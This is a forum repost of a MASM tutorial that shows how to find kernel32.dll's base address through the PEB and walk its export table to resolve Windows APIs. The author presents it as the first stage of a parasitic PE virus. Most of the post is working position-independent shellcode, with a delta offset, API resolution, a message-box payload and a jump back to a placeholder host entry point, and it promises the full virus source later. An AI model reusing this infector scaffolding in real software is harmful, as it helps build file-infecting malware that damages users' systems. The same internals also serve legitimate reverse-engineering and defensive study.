Jump to content
Nytro

[MASM] Finding Kernel32 Base and walking its export table

Recommended Posts

Posted

[h=1]Finding Kernel32 Base and walking its export table[/h]Author:

[h=3]SIGSEGV[/h]

Hey all ,

I'll just begin as the title says it all.

Only Basic PE-format and assembly knowledge are required.

The baby steps of any parasitic PE virus should be Finding the Kernel32 Base in the current process address space , then walking its export table to extract the addresses of all the functions it needs.

To find the Kernel base , We'll exploit the fact that the Process Environment Block structure of the current process holds a list of the modules , loaded in the process's address space , in their memory loading order , InMemoryOrderModuleList.

In Windows NT , The value at offset 0x30 of the FS segment points to the PEB structure :

typedef struct _PEB {


BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
// The rest of the structure is irrelevant to us

} PEB, *PPEB;

So , we follow the LoaderData pointer , which takes us to another structure , PEB_LDR_DATA :

typedef struct _PEB_LDR_DATA {


ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

InMemoryOrderModule is a double linked list and it's what we are interested in , each entry in the list points to an LDR_MODULE structure :

typedef struct _LDR_MODULE {


LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
//.....

} LDR_MODULE, *PLDR_MODULE;

This structure holds the base address of it's module ,, Now , from Windows 2000 and up to windows 7 , The third module loaded in memory will always be that kernel32.dll.

Putting all into code :


mov ebx, [FS : 0x30] ; PEB
mov ebx, [ebx + 0x0C] ; PEB->Ldr
mov ebx, [ebx + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ebx] ; 2nd Entry
mov ebx, [ebx] ; 3rd Entry
mov ebx, [ebx + 0x10] ; Third entry's base address (Kernel32.dll)
mov [ebp+dwKernelBase] , ebx

The following example does the following :

  • Find Kernel32.dll base address
  • Parse it's export tables to locate GetProcAddress
  • Use it to locate LoadLibraryA
  • Use it to Load User32.dll into the current address space
  • Use GetProcAddress to locate MessageBoxA in User32.dll
  • Display a Message box
  • Return to Host.

I'm in the middle of my final exams , so I'm afraid I can't explain the example thoroughly , but anyone with basic PE and assembly knowledge should easily grasp it.

; By SIGSEGV

[BITS 32]
pushad
call CodeStart
CodeStart:
pop ebp
sub ebp,CodeStart ; delta offset shit

mov ebx, [FS : 0x30] ; get a pointer to the PEB
mov ebx, [ebx + 0x0C] ; get PEB->Ldr
mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ebx] ; 2nd Entry
mov ebx, [ebx] ; 3rd Entry
mov ebx, [ebx + 0x10] ; Get Kernel32 Base
mov [ebp+dwKernelBase] , ebx
add ebx, [ebx+0x3C] ; Start of PE header
mov ebx, [ebx+0x78] ; RVA of export dir
add ebx, [ebp+dwKernelBase] ; VA of export dir
mov [ebp+dwExportDirectory] , ebx

lea edx,[ebp+api_GetProcAddress]
mov ecx,[ebp+len_GetProcAddress]
call GetFunctionAddress
mov [ebp+AGetProcAddressA] , eax
lea edx,[ebp+api_LoadLibrary]
push edx
push dword [ebp+dwKernelBase]
call eax
mov [ebp+ALoadLibraryA] , eax
lea edx , [ebp+szUser32]
push edx
call eax
lea edx , [ebp+api_MessageBoxA]
push edx
push eax
mov ebx,[ebp+AGetProcAddressA]
call ebx
mov [ebp+AMessageBoxAA] , eax

push 0
lea edx,[ebp+szTitle]
push edx
lea edx,[ebp+szMsg]
push edx
push 0
call eax
popad

push 0xBBBBBBBB ;OEP
retn

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; <<<<< GetFunctionAddress >>>>>> ;
; Extracts Function Address From Export Directory and returns it in eax ;
; Parameters : Function name in edx , Length in ecx ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetFunctionAddress:
push ebx
push esi
push edi

mov esi, [ebp+dwExportDirectory]
mov esi, [esi+0x20] ;RVA of ENT
add esi, [ebp+dwKernelBase] ;VA of ENT
xor ebx,ebx
cld

looper:
inc ebx
lodsd
add eax , [ebp+dwKernelBase] ;eax now points to the string of a function
push esi ;preserve it for the outer loop
mov esi,eax
mov edi,edx
cld
push ecx
repe cmpsb
pop ecx
pop esi
jne looper

dec ebx
mov eax,[ebp+dwExportDirectory]
mov eax,[eax+0x24] ;RVA of EOT
add eax,[ebp+dwKernelBase] ;VA of EOT
movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function
mov ebx,[ebp+dwExportDirectory]
mov ebx,[ebx+0x1C] ;RVA of EAT
add ebx,[ebp+dwKernelBase] ;VA of EAT
mov ebx,[eax*4+ebx]
add ebx,[ebp+dwKernelBase]
mov eax,ebx

pop edi
pop esi
pop ebx
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Data Shit ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

szTitle: db "Yo !",0
szMsg: db "GreeTz From SIGSEGV",0
szUser32 db "User32.dll",0
AGetProcAddressA: dd 0
api_GetProcAddress: db "GetProcAddress"
len_GetProcAddress: dd $-api_GetProcAddress
ALoadLibraryA: dd 0
api_LoadLibrary: db "LoadLibraryA",0
AMessageBoxAA: dd 0
api_MessageBoxA: db "MessageBoxA",0
dwKernelBase: dd 0
dwExportDirectory: dd 0

That's it , but I shall post the complete virus source when i get through my exams.

Hope you enjoyed this quick tutorial , any feedback is appreciated.

Greets , SIGSEGV.

Sursa: [Quick tutorial] Finding Kernel32 Base and walking its export table. - rohitab.com - Forums

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...